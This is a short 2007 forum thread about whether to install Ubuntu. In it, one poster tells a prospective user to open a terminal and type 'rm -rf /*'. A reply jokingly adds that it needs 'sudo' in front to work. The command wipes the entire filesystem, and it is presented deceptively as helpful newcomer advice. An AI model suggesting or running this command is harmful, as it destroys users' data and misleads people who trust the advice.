# Ubuntu considerations, thinking about installing it.

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**Created:** [May 1, 2007, 9:14am UTC](https://forums.speedlife.net/t/ubuntu-considerations-thinking-about-installing-it/28595 "2007-05-01T09:14:40Z")\
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**Post date:** [May 1, 2007, 1:33pm UTC](https://forums.speedlife.net/t/ubuntu-considerations-thinking-about-installing-it/28595/11 "2007-05-01T13:33:59Z")

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[quote=“FormulaLS1,post:10,topic:28595"”]

Open a terminal  
type rm -rf /\*

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dude, i just did that and now my laptop is seriously messed up. I was in the middle of a project. how do i un-do whatever that thing just did.

🤣 but seriously, u will need to pop a “sudo” in front of that. most ppl dont log in as root. so type(without quotes) “sudo rm -rf/\*”

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